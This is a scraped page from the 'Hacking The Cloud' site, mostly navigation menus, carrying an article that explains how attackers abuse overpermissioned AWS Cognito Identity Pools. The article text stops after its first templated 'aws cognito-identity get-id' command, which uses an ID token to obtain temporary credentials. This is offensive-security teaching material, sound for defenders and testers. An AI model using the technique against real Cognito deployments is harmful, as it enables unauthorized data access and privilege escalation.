class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#identity-retrieval class=md-nav__link> <span class=md-ellipsis> Identity Retrieval: </span> </a> </li> <li class=md-nav__item> <a href=#excessive-privileges-exploitation class=md-nav__link> <span class=md-ellipsis> Excessive Privileges Exploitation: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/cognito_identity_pool_excessive_privileges.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=overpermissioned-aws-cognito-identity-pools>Overpermissioned AWS Cognito Identity Pools<a class=headerlink href=#overpermissioned-aws-cognito-identity-pools title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://trustoncloud.com/exploit-two-of-the-most-common-vulnerabilities-in-amazon-cognito-with-cloudgoat/ >Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat</a> by Usama Rasheed</li> <li><a href=https://www.secforce.com/blog/aws-cognito-pitfalls-default-settings-attackers-love-and-you-should-know-about/ >AWS Cognito pitfalls: Default settings attackers love (and you should know about)</a> by Lorenzo Vogelsang</li> </ul> </li> </ul> </div> <p>A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.</p> <p>If an attacker successfully authenticates with the AWS Cognito service (such as through the <a href=../cognito_user_self_signup/ >unintended self-signup</a>, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.</p> <p>Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.</p> <h2 id=how-it-works>How it works<a class=headerlink href=#how-it-works title="Permanent link">&para;</a></h2> <p>The process usually involves two key steps:</p> <h3 id=identity-retrieval>Identity Retrieval:<a class=headerlink href=#identity-retrieval title="Permanent link">&para;</a></h3> <p>This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.</p> <p>When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user. </p> <h3 id=excessive-privileges-exploitation>Excessive Privileges Exploitation:<a class=headerlink href=#excessive-privileges-exploitation title="Permanent link">&para;</a></h3> <p>The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.</p> <p>However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.</p> <h2 id=exploitation>Exploitation<a class=headerlink href=#exploitation title="Permanent link">&para;</a></h2> <p>The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:</p> <p><div class=highlight><pre><span></span><code>aws<span class=w> </span>cognito-identity<span class=w> </span>get-id<span class=w> </span>--identity-pool-id<span class=w> </span><span class=o>{</span>identity_pool_id<span class=o>}</span><span class=w> </span>--account-id<span class=w> </span><span class=o>{</span>account_id<span class=o>}</span><span class=w> </span>--logins<span class=w> </span><span class=o>{</span>login_provider<span class=o>}</span>:<span class=o>{</span>id_token<span class=o>}</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#overpermissioned-aws-cognito-identity-pools class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox 